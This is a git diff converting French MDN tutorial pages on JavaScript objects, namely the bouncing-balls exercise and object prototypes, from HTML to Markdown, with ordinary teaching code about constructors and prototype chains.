href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">version finale</a> (voir également la <a href="http://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">démo en ligne</a>).</p> -</div> + ```js + balls[i].collisionDetect(); + ``` -<h2 id="Résumé">Résumé</h2> +3. Enregistrez et rafraîchissez la démo à nouveau, et vous verrez vos balles changer de couleur quand elles entrent en collision ! -<p>Nous espérons que vous vous êtes amusé à écrire votre propre exemple de balles aléatoires bondissantes comme dans le monde réel, en utilisant diverses techniques orientées objet et divers objets d'un bout à l'autre du module ! Nous espérons vous avoir offert un aperçu utile de l'utilisation des objets.</p> +> **Note :** Si vous avez des difficultés à faire fonctionner cet exemple, essayez de comparer votre code JavaScript avec notre [version finale](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js) (voir également la [démo en ligne](http://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html)). -<p>C'est tout pour les articles sur les objets — il ne vous reste plus qu'à tester vos compétences dans l'évaluation sur les objets.</p> +## Résumé -<h2 id="Voir_aussi">Voir aussi</h2> +Nous espérons que vous vous êtes amusé à écrire votre propre exemple de balles aléatoires bondissantes comme dans le monde réel, en utilisant diverses techniques orientées objet et divers objets d'un bout à l'autre du module ! Nous espérons vous avoir offert un aperçu utile de l'utilisation des objets. -<ul> - <li><a href="/fr/docs/Web/API/Canvas_API/Tutorial">Didacticiel sur canvas</a> — un guide pour débutants sur l'utilisation de canvas 2D.</li> - <li><a href="/fr/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></li> - <li><a href="/fr/docs/Games/Techniques/2D_collision_detection">Détection de collision 2D</a> </li> - <li><a href="/fr/docs/Games/Techniques/3D_collision_detection">Détection de collision 3D</a> </li> - <li><a href="/fr/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript">Jeu d'évasion 2D utilisant du JavaScript pu</a> —un excellent tutoriel pour débutant montrant comment construire un jeu en 2D.</li> - <li><a href="/fr/docs/Games/Tutorials/2D_breakout_game_Phaser">Jeu d'évasion 2D utilisant phaser</a> — explique les bases de la construction d'un jeu 2D en utilisant une bibliothèque de jeux JavaScript.</li> -</ul> +C'est tout pour les articles sur les objets — il ne vous reste plus qu'à tester vos compétences dans l'évaluation sur les objets. -<p>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</p> +## Voir aussi +- [Didacticiel sur canvas](/fr/docs/Web/API/Canvas_API/Tutorial) — un guide pour débutants sur l'utilisation de canvas 2D. +- [requestAnimationFrame()](/fr/docs/Web/API/window/requestAnimationFrame) +- [Détection de collision 2D](/fr/docs/Games/Techniques/2D_collision_detection) +- [Détection de collision 3D](/fr/docs/Games/Techniques/3D_collision_detection) +- [Jeu d'évasion 2D utilisant du JavaScript pu](/fr/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript) —un excellent tutoriel pour débutant montrant comment construire un jeu en 2D. +- [Jeu d'évasion 2D utilisant phaser](/fr/docs/Games/Tutorials/2D_breakout_game_Phaser) — explique les bases de la construction d'un jeu 2D en utilisant une bibliothèque de jeux JavaScript. +{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Basics">Les bases de l'objet</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS">JavaScript orienté objet pour les débutants</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object_prototypes">Prototypes d'objets</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Inheritance">Héritage en JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/JSON">Travailler avec des données JSON</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object_building_practice">Pratique de construction d'objets</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Ajout de fonctionnalités à notre démo de balles bondissantes</a></li> -</ul> +- [Les bases de l'objet](/fr/docs/Learn/JavaScript/Objects/Basics) +- [JavaScript orienté objet pour les débutants](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS) +- [Prototypes d'objets](/fr/docs/Learn/JavaScript/Objects/Object_prototypes) +- [Héritage en JavaScript](/fr/docs/Learn/JavaScript/Objects/Inheritance) +- [Travailler avec des données JSON](/fr/docs/Learn/JavaScript/Objects/JSON) +- [Pratique de construction d'objets](/fr/docs/Learn/JavaScript/Objects/Object_building_practice) +- [Ajout de fonctionnalités à notre démo de balles bondissantes](/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features) diff --git a/files/fr/learn/javascript/objects/object_prototypes/index.md b/files/fr/learn/javascript/objects/object_prototypes/index.md index 95663a0f7b..d429450f10 100644 --- a/files/fr/learn/javascript/objects/object_prototypes/index.md +++ b/files/fr/learn/javascript/objects/object_prototypes/index.md @@ -8,187 +8,214 @@ tags: translation_of: Learn/JavaScript/Objects/Object_prototypes original_slug: Learn/JavaScript/Objects/Prototypes_Objet --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</div> - -<p>Les prototypes sont un mécanisme au sein de JavaScript qui permettent aux objets JavaScript d'hériter des propriétés d'autres objets. Les prototypes implémentent un héritage différent de celui rencontré dans les langages de programmation objets habituels. Dans cet article, nous allons aborder ces différences, nous allons aussi voir comment la chaîne de prototypage fonctionne. Nous verrons aussi comment les propriétés prototypes peuvent être utilisées afin d'ajouter des méthodes à des constructeurs existants.</p> +Les prototypes sont un mécanisme au sein de JavaScript qui permettent aux objets JavaScript d'hériter des propriétés d'autres objets. Les prototypes implémentent un héritage différent de celui rencontré dans les langages de programmation objets habituels. Dans cet article, nous allons aborder ces différences, nous allons aussi voir comment la chaîne de prototypage fonctionne. Nous verrons aussi comment les propriétés prototypes peuvent être utilisées afin d'ajouter des méthodes à des constructeurs existants. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Pré-requis :</th> - <td>Une connaissance générale de l'informatique, des notions d'HTML et CSS, une connaissance des bases en JavaScript (voir <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et <a href="/fr/docs/Learn/JavaScript/Building_blocks">Blocs de construction</a>) ainsi que des notions de JavaScript orienté objet (JSOO) (voir <a href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction aux objets</a>).</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Comprendre le concept de prototype en JavaScript, comprendre comment fonctionne une chaîne de prototypage et comment ajouter de nouvelles méthodes aux propriétés d'un prototype.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis :</th> + <td> + Une connaissance générale de l'informatique, des notions d'HTML et CSS, + une connaissance des bases en JavaScript (voir + <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas</a> et + <a href="/fr/docs/Learn/JavaScript/Building_blocks" + >Blocs de construction</a + >) ainsi que des notions de JavaScript orienté objet (JSOO) (voir + <a href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction" + >Introduction aux objets</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Comprendre le concept de prototype en JavaScript, comprendre comment + fonctionne une chaîne de prototypage et comment ajouter de nouvelles + méthodes aux propriétés d'un prototype. + </td> + </tr> + </tbody> </table> -<h2 id="Un_langage_basé_sur_des_prototypes">Un langage basé sur des prototypes ?</h2> +## Un langage basé sur des prototypes ? -<p>JavaScript est souvent décrit comme un langage basé sur les prototypes, chaque objet pouvant avoir un <strong>prototype objet</strong> d'où il hérite des méthodes et des attributs. Un prototype peut lui aussi avoir son prototype objet duquel il héritera des méthodes et des attributs et ainsi de suite. On parle alors de chaîne de prototypage (ou <em>prototype chain<strong> </strong></em>en anglais). Cela permet d'expliquer pourquoi différents objets possèdent des attributs et des méthodes définis à partir d'autres objets.</p> +JavaScript est souvent décrit comme un langage basé sur les prototypes, chaque objet pouvant avoir un **prototype objet** d'où il hérite des méthodes et des attributs. Un prototype peut lui aussi avoir son prototype objet duquel il héritera des méthodes et des attributs et ainsi de suite. On parle alors de chaîne de prototypage (ou \*prototype chain** \***en anglais). Cela permet d'expliquer pourquoi différents objets possèdent des attributs et des méthodes définis à partir d'autres objets. -<p>En réalité, les méthodes et attributs sont définis dans l'attribut <code>prototype</code> , la fonction constructrice de l'objet et non pas dans les instances des objets elles-mêmes.</p> +En réalité, les méthodes et attributs sont définis dans l'attribut `prototype` , la fonction constructrice de l'objet et non pas dans les instances des objets elles-mêmes. -<p>En programmation orientée objet classique, les classes sont définies, puis lorsque des instances sont créées, l'ensemble des attributs et des méthodes sont copiés dans l'instance. En JavaScript en revanche, tout n'est pas copié : on établit un lien entre l'objet instancié et son constructeur (c'est un lien dans la chaîne de prototypage). On détermine alors les méthodes et les attributs en remontant la chaîne.</p> +En programmation orientée objet classique, les classes sont définies, puis lorsque des instances sont créées, l'ensemble des attributs et des méthodes sont copiés dans l'instance. En JavaScript en revanche, tout n'est pas copié : on établit un lien entre l'objet instancié et son constructeur (c'est un lien dans la chaîne de prototypage). On détermine alors les méthodes et les attributs en remontant la chaîne. -<div class="note"> -<p><strong>Note:</strong> Il faut bien comprendre qu'il y a une différence entre la notion de prototype d'un objet (qu'on obtient via <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(obj)</a></code>, ou via la propriété dépréciée <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code> ) et l' attribut <code>prototype</code>d'une fonction constructrice. La première concerne chaque instance, le dernier existe uniquement sur une fonction constructrice. Cela dit, <code>Object.getPrototypeOf(new Foobar())</code> renvoie au même object que<code>Foobar.prototype</code>.</p> -</div> +> **Note :** Il faut bien comprendre qu'il y a une différence entre la notion de prototype d'un objet (qu'on obtient via [`Object.getPrototypeOf(obj)`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf), ou via la propriété dépréciée [`__proto__`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/proto) ) et l' attribut `prototype`d'une fonction constructrice. La première concerne chaque instance, le dernier existe uniquement sur une fonction constructrice. Cela dit, `Object.getPrototypeOf(new Foobar())` renvoie au même object que`Foobar.prototype`. -<p>Prenons un exemple afin de rendre cela un peu plus clair.</p> +Prenons un exemple afin de rendre cela un peu plus clair. -<h2 id="Comprendre_les_prototypes_objet">Comprendre les prototypes objet</h2> +## Comprendre les prototypes objet -<p>Reprenons notre exemple dans lequel nous avions écrit notre constructeur <code>Personne()</code>. Chargez cet exemple dans votre navigateur, si vous ne l'avez plus, vous pouvez utiliser notre exemple<a href="https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html"> oojs-class-further-exercises.html</a> example (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">code source</a>).</p> +Reprenons notre exemple dans lequel nous avions écrit notre constructeur `Personne()`. Chargez cet exemple dans votre navigateur, si vous ne l'avez plus, vous pouvez utiliser notre exemple[ oojs-class-further-exercises.html](https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html) example (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html)). -<p>Dans cet exemple, nous avons défini un constructeur comme suit :</p> +Dans cet exemple, nous avons défini un constructeur comme suit : -<pre class="brush: js">function Personne(prenom, nom, age, genre, interets) { +```js +function Personne(prenom, nom, age, genre, interets) { // property and method definitions -};</pre> +}; +``` + +Nous avons ensuite instancié des objets comme ceci : -<p>Nous avons ensuite instancié des objets comme ceci :</p> +```js +var personne1 = new Personne('Bob', 'Smith', 32, 'homme', ['musique', 'ski']); +``` -<pre class="brush: js">var personne1 = new Personne('Bob', 'Smith', 32, 'homme', ['musique', 'ski']);</pre> +Si vous entrez « `personne1` » dans votre console JavaScript, vous devriez voir que le navigateur essaie de faire de l'auto-complétion avec les attributs de cet objet. -<p>Si vous entrez « <code>personne1</code> » dans votre console JavaScript, vous devriez voir que le navigateur essaie de faire de l'auto-complétion avec les attributs de cet objet.</p> + -<p><img alt="" src="autocomplete_Personne.png"><img alt="" src="autocomplete_Personne.png"></p> +Dans cette liste vous verrez les membres définis au niveau du constructeur de `personne1` qui n'est autre `Personne()`. On y trouve les valeurs suivantes : `nom`, `age`, `genre`, `interets`, `bio`, et `salutation`. On peut voir aussi d'autres membres tels que `watch`, `valueOf` … Ces membres particuliers sont définis au niveau du prototype objet du constructeur `Personne()`, qui est [`Object`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object). On voit ici une mise en œuvre de la chaine de prototypage. -<p>Dans cette liste vous verrez les membres définis au niveau du constructeur de <code>personne1</code> qui n'est autre <code>Personne()</code>. On y trouve les valeurs suivantes : <code>nom</code>, <code>age</code>, <code>genre</code>, <code>interets</code>, <code>bio</code>, et <code>salutation</code>. On peut voir aussi d'autres membres tels que <code>watch</code>, <code>valueOf</code> … Ces membres particuliers sont définis au niveau du prototype objet du constructeur <code>Personne()</code>, qui est <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>. On voit ici une mise en œuvre de la chaine de prototypage.</p> + -<p><img alt="" src="prototype_chaine.PNG"></p> +Que peut-il bien se passer lorsque l'on tente d'appeler une méthode définie pour `Object` en l'appliquant à `Personne`1 ? Par exemple : -<p>Que peut-il bien se passer lorsque l'on tente d'appeler une méthode définie pour <code>Object</code> en l'appliquant à <code>Personne</code>1 ? Par exemple :</p> +```js +personne1.valueOf() +``` -<pre class="brush: js">personne1.valueOf()</pre> +Cette méthode renvoie simplement la valeur de l'objet pour lequel elle est appelée. Vous pouvez essayer dans votre console ! Lorsque l'on effectue cet appel, il se produit les choses suivantes : -<p>Cette méthode renvoie simplement la valeur de l'objet pour lequel elle est appelée. Vous pouvez essayer dans votre console ! Lorsque l'on effectue cet appel, il se produit les choses suivantes :</p> +- Le navigateur tente de déterminer si l'objet `personne1` implémente une méthode `valueOf().` +- Aucune n'est présente, le navigateur vérifie donc si le prototype objet de `personne1` (`Personne`) contient cette méthode. +- Pas de `valueOf()` non plus, donc le navigateur regarde si le prototype objet du constructeur `Personne()` (`Object`) possède cette méthode. Il y en a une, donc il l'appelle et tout va bien ! -<ul> - <li>Le navigateur tente de déterminer si l'objet <code>personne1</code> implémente une méthode <code>valueOf().</code></li> - <li>Aucune n'est présente, le navigateur vérifie donc si le prototype objet de <code>personne1</code> (<code>Personne</code>) contient cette méthode.</li> - <li>Pas de <code>valueOf()</code> non plus, donc le navigateur regarde si le prototype objet du constructeur <code>Personne()</code> (<code>Object</code>) possède cette méthode. Il y en a une, donc il l'appelle et tout va bien !</li> -</ul> +> **Note :** Encore une fois, il est important d'insister sur le fait que les méthodes et attributs ne sont **pas** copiés d'un objet à un autre, mais qu'on y accède à chaque fois en remontant la chaine de prototypage. -<div class="note"> -<p><strong>Note :</strong> Encore une fois, il est important d'insister sur le fait que les méthodes et attributs ne sont <strong>pas</strong> copiés d'un objet à un autre, mais qu'on y accède à chaque fois en remontant la chaine de prototypage.</p> -</div> +> **Note :** Il n'existe pas de façon officielle d'accéder directement au prototype d'un objet donné. Les « liens » entre les éléments de la chaine sont définis au sein d'une propriété interne appelée `[[prototype]]` définie dans la spécification de JavaScript. (voir [ECMAScript](fr/docs/Web/JavaScript/Language_Resources)). Néanmoins, la plupart des navigateurs modernes implémentent l'attribut [`__proto__`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/proto) (deux tirets soulignés ou _underscore_ de chaque côté) qui contient le prototype objet d'un objet. Vous pouvez tenter `personne1.__proto__` et `personne1.__proto__.__proto__` pour voir à quoi ressemble une chaine de prototypage dans la console ! -<div class="note"> -<p><strong>Note :</strong> Il n'existe pas de façon officielle d'accéder directement au prototype d'un objet donné. Les « liens » entre les éléments de la chaine sont définis au sein d'une propriété interne appelée <code>[[prototype]]</code> définie dans la spécification de JavaScript. (voir <a href="fr/docs/Web/JavaScript/Language_Resources">ECMAScript</a>). Néanmoins, la plupart des navigateurs modernes implémentent l'attribut <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code> (deux tirets soulignés ou <em>underscore</em> de chaque côté) qui contient le prototype objet d'un objet. Vous pouvez tenter <code>personne1.__proto__</code> et <code>personne1.__proto__.__proto__</code> pour voir à quoi ressemble une chaine de prototypage dans la console !</p> -</div> +## L'attribut prototype : là où l'on définit les éléments héritables -<h2 id="Lattribut_prototype_là_où_lon_définit_les_éléments_héritables">L'attribut prototype : là où l'on définit les éléments héritables</h2> +Mais alors, où définissons-nous les attributs et méthodes qui seront hérités au long de la chaîne de prototypage ? En effet, s'il on regarde à la page de documentation [`Object`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object) on peut voir un large éventail d'attributs et de méthodes qui sont définis, une liste bien plus longue que celle disponible pour notre objet `Personne1`. Pourquoi `Personne1` hérite de certains de ces éléments mais pas de tous ? -<p>Mais alors, où définissons-nous les attributs et méthodes qui seront hérités au long de la chaîne de prototypage ? En effet, s'il on regarde à la page de documentation <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code> on peut voir un large éventail d'attributs et de méthodes qui sont définis, une liste bien plus longue que celle disponible pour notre objet <code>Personne1</code>. Pourquoi <code>Personne1</code> hérite de certains de ces éléments mais pas de tous ?</p> +Cela vient du fait que les éléments hérités sont ceux définis au niveau de l'attribut `prototype` d'`Object` (on peut voir cet attribut comme un sous espace de noms). Ainsi, les éléments listés sont ceux sous `Object.prototype.` et pas ceux situés juste sous `Object.` La valeur de l'attribut `prototype` est un objet qui rassemble les attributs et méthodes que l'on souhaite appliquer aux objets tout au long de la chaine de prototypage. -<p>Cela vient du fait que les éléments hérités sont ceux définis au niveau de l'attribut <code>prototype</code> d'<code>Object</code> (on peut voir cet attribut comme un sous espace de noms). Ainsi, les éléments listés sont ceux sous <code>Object.prototype.</code> et pas ceux situés juste sous <code>Object.</code> La valeur de l'attribut <code>prototype</code> est un objet qui rassemble les attributs et méthodes que l'on souhaite appliquer aux objets tout au long de la chaine de prototypage.</p> +Ainsi [`Object.prototype.watch()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/watch), [`Object.prototype.valueOf()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf) … sont disponibles pour n'importe quel objet qui hérite de `Object.prototype` ce qui inclus les nouvelles instances créées à partir du constructeur `Personne()`. -<p>Ainsi <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/watch">Object.prototype.watch()</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf">Object.prototype.valueOf()</a></code> … sont disponibles pour n'importe quel objet qui hérite de <code>Object.prototype</code> ce qui inclus les nouvelles instances créées à partir du constructeur <code>Personne()</code>.</p> +[`Object.is()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/is), [`Object.keys()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/keys), ainsi que d'autres membres non définis dans `prototype` ne sont pas hérités par les instances d'objet ou les objets qui héritent de `Object.prototype`. Ces méthodes et attributs sont disponibles uniquement pour le constructeur `Object()`. -<p><code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/is">Object.is()</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>, ainsi que d'autres membres non définis dans <code>prototype</code> ne sont pas hérités par les instances d'objet ou les objets qui héritent de <code>Object.prototype</code>. Ces méthodes et attributs sont disponibles uniquement pour le constructeur <code>Object()</code>.</p> +> **Note :** Ça paraît bizarre, d'avoir une méthode définie au sein d'un constructeur qui est lui même une fonction non ? Et bien, une fonction est aussi un type d'objet — vous pouvez jeter un œil à la documentation du constructeur [`Function()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Function) si vous ne nous croyez pas. -<div class="note"> -<p><strong>Note :</strong> Ça paraît bizarre, d'avoir une méthode définie au sein d'un constructeur qui est lui même une fonction non ? Et bien, une fonction est aussi un type d'objet — vous pouvez jeter un œil à la documentation du constructeur <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Function">Function()</a></code> si vous ne nous croyez pas.</p> -</div> +1. Vous pouvez vérifier les attributs du prototype en reprenant l'exemple précédent et en entrant le code suivant dans la console JavaScript : -<ol> - <li>Vous pouvez vérifier les attributs du prototype en reprenant l'exemple précédent et en entrant le code suivant dans la console JavaScript : - <pre class="brush: js">Personne.prototype</pre> - </li> - <li>Il n'y a pas grand chose renvoyé par le navigateur. En même temps, nous n'avons rien défini dans l'attribut prototype de notre constructeur, et par défaut l'attribut prototype d'un constructeur est toujours vide. Voyons ce que renvoie le code suivant : - <pre class="brush: js">Object.prototype</pre> - </li> -</ol> + ```js + Personne.prototype + ``` -<p>On observe que plusieurs méthodes sont définies au niveau de l'attribut <code>prototype</code> d'<code>Object</code>, qui seront alors disponibles pour les objets qui héritent d'<code>Object</code>, comme nous l'avons vu plus haut.</p> +2. Il n'y a pas grand chose renvoyé par le navigateur. En même temps, nous n'avons rien défini dans l'attribut prototype de notre constructeur, et par défaut l'attribut prototype d'un constructeur est toujours vide. Voyons ce que renvoie le code suivant : -<p>Vous verrez qu'il existe plein d'exemples de chaine de prototypage dans JavaScript. Vous pouvez essayer de trouver les méthodes et les attributs définis dans les attributs <code>prototype</code> des objets globeaux comme <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code>, et <code> <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>. Chacun de ces objets possède des éléments au sein de leur attribut prototype. Dès lors que l'on crée une chaine de caractères, comme celle-ci :</p> + ```js + Object.prototype + ``` -<pre class="brush: js">var maChaine = 'Ceci est ma chaine de caracteres.';</pre> +On observe que plusieurs méthodes sont définies au niveau de l'attribut `prototype` d'`Object`, qui seront alors disponibles pour les objets qui héritent d'`Object`, comme nous l'avons vu plus haut. -<p><code>maChaine </code>possède aussitôt plusieurs méthodes utiles pour manipuler les chaines de caractères telles que <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/String/split">split()</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf">indexOf()</a></code>, <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a></code>…</p> +Vous verrez qu'il existe plein d'exemples de chaine de prototypage dans JavaScript. Vous pouvez essayer de trouver les méthodes et les attributs définis dans les attributs `prototype` des objets globeaux comme [`String`](/fr/docs/Web/JavaScript/Reference/Global_Objects/String), [`Date`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Date), [`Number`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Number), et ` Array`. Chacun de ces objets possède des éléments au sein de leur attribut prototype. Dès lors que l'on crée une chaine de caractères, comme celle-ci : -<div class="warning"> -<p><strong>Attention :</strong> L'attribut <code>prototype</code> est un des éléments JavaScript qui peut le plus prêter à confusion. On pourrait penser qu'il s'agit du prototype objet de l'objet courant mais ça ne l'est pas (on peut y accéder via <code>__proto__</code>). L'attribut <code>prototype </code>est un attribut qui contient un objet où l'on définit les éléments dont on va pouvoir hériter.</p> -</div> +```js +var maChaine = 'Ceci est ma chaine de caracteres.'; +``` -<h2 id="Revenons_sur_create">Revenons sur create()</h2> +`maChaine `possède aussitôt plusieurs méthodes utiles pour manipuler les chaines de caractères telles que [`split()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/split), [`indexOf()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf), [`replace()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/String/replace)… -<p>Nous avons vu précedemment que la méthode <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code> pouvait être utilisée pour instancier des objets.</p> +> **Attention :** L'attribut `prototype` est un des éléments JavaScript qui peut le plus prêter à confusion. On pourrait penser qu'il s'agit du prototype objet de l'objet courant mais ça ne l'est pas (on peut y accéder via `__proto__`). L'attribut `prototype `est un attribut qui contient un objet où l'on définit les éléments dont on va pouvoir hériter. -<ol> - <li>Par exemple, vous pouvez essayer le code suivant dans la console JavaScript : - <pre class="brush: js">var personne2 = Object.create(personne1);</pre> - </li> - <li>En réalité <code>create()</code> se contente de créer un nouvel objet à partir d'un prototype spécifique. Dans cet exemple, <code>personne2</code> est créé à partir de <code>personne1</code> qui agit en tant que prototype. Vous pouvez le vérifier via : - <pre class="brush: js">person2.__proto__</pre> - </li> -</ol> +## Revenons sur create() -<p>Cela renverra l'objet <code>personne1</code>.</p> +Nous avons vu précedemment que la méthode [`Object.create()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/create) pouvait être utilisée pour instancier des objets. -<h2 id="Lattribut_constructor">L'attribut <em>constructor</em></h2> +1. Par exemple, vous pouvez essayer le code suivant dans la console JavaScript : -<p>Chaque fonction possède un attribut prototype dont la valeur est un objet contenant un attribut <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code>. L'attribut <code>constructor</code> renvoie vers la méthode constructrice utilisée. Nous allons le voir dans la section suivante, les attributs définis dans l'attribut <code>Personne.prototype</code> deviennent disponibles pour toutes les instances créées à partir du constructeur <code>Personne()</code>. De cette manière, l'attribut <code>constructor</code> est aussi disponible au sein de <code>personne1</code> et <code>personne2</code>.</p> + ```js + var personne2 = Object.create(personne1); + ``` -<ol> - <li>Par exemple, vous pouvez tester le code suivant : - <pre class="brush: js">personne1.constructor -personne2.constructor</pre> +2. En réalité `create()` se contente de créer un nouvel objet à partir d'un prototype spécifique. Dans cet exemple, `personne2` est créé à partir de `personne1` qui agit en tant que prototype. Vous pouvez le vérifier via : - <p>Chaque commande devrait renvoyer le constructeur <code>Personne()</code> étant donné qu'il a permis d'instancier ces objets.</p> + ```js + person2.__proto__ + ``` - <p>Une astuce qui peut s'avérer utile est d'ajouter des parenthèses à la fin de l'attribut <code>constructor</code> pour le transformer en méthode. Après tout, le constructeur est une fonction que l'on peut appeler si besoin. Il faut juste utiliser le mot-clé <code>new</code> pour signifier que l'on souhaite construire un objet.</p> - </li> - <li>Par exemple : - <pre class="brush: js">var personne3 = new personne1.constructor('Karen', 'Stephenson', 26, 'femme', ['jouer de la batterie', 'escalade']);</pre> - </li> - <li>Vous pouvez désormais essayer d'accéder aux propriétés de personne3 : - <pre class="brush: js">personne3.prenom -personne3.age -personne3.bio()</pre> - </li> -</ol> +Cela renverra l'objet `personne1`. -<p>Ça fonctionne bien. A priori, ce n'est pas la manière la plus simple de créer un objet et vous n'aurez pas à l'utiliser souvent. En revanche, ça peut vous débloquer quand vous devez créer une nouvelle instance et que vous ne disposez pas facilement du constructeur d'origine.</p> +## L'attribut _constructor_ -<p>L'attribut <code><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code> possède d'autres intérêts. Par exemple, si vous disposez du nom d'une instance objet vous pouvez utiliser le code suivant pour renvoyer le nom de son constructeur :</p> +Chaque fonction possède un attribut prototype dont la valeur est un objet contenant un attribut [`constructor`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor). L'attribut `constructor` renvoie vers la méthode constructrice utilisée. Nous allons le voir dans la section suivante, les attributs définis dans l'attribut `Personne.prototype` deviennent disponibles pour toutes les instances créées à partir du constructeur `Personne()`. De cette manière, l'attribut `constructor` est aussi disponible au sein de `personne1` et `personne2`. -<pre class="brush: js">instanceName.constructor.name</pre> +1. Par exemple, vous pouvez tester le code suivant : -<p>Vous pouvez essayer :</p> + ```js + personne1.constructor + personne2.constructor + ``` -<pre class="brush: js">personne1.constructor.name</pre> + Chaque commande devrait renvoyer le constructeur `Personne()` étant donné qu'il a permis d'instancier ces objets. -<h2 id="Modifions_les_prototypes">Modifions les prototypes</h2> + Une astuce qui peut s'avérer utile est d'ajouter des parenthèses à la fin de l'attribut `constructor` pour le transformer en méthode. Après tout, le constructeur est une fonction que l'on peut appeler si besoin. Il faut juste utiliser le mot-clé `new` pour signifier que l'on souhaite construire un objet. -<p>Voyons au travers d'un exemple comment modifier l'attribut <code>prototype</code> d'un constructeur (les méthodes ajoutées au prototype seront alors disponibles pour toutes les instances créées à partir du constructeur).</p> +2. Par exemple : -<ol> - <li>Revenons à notre exemple <a href="https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> et faisons une copie local du <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">code source</a>. En dessous du JavaScript existant, vous pouvez ajouter le code suivant, ce qui aura pour effet d'ajouter une nouvelle méthode à l'attribut <code>prototype</code> du constructeur : + ```js + var personne3 = new personne1.constructor('Karen', 'Stephenson', 26, 'femme', ['jouer de la batterie', 'escalade']); + ``` - <pre class="brush: js">Personne.prototype.aurevoir = function() { - alert(this.nom.prenom + ' est sorti. Au revoir !'); -}</pre> - </li> - <li>Enregistrez vos modifications et chargez la page dans votre navigateur. 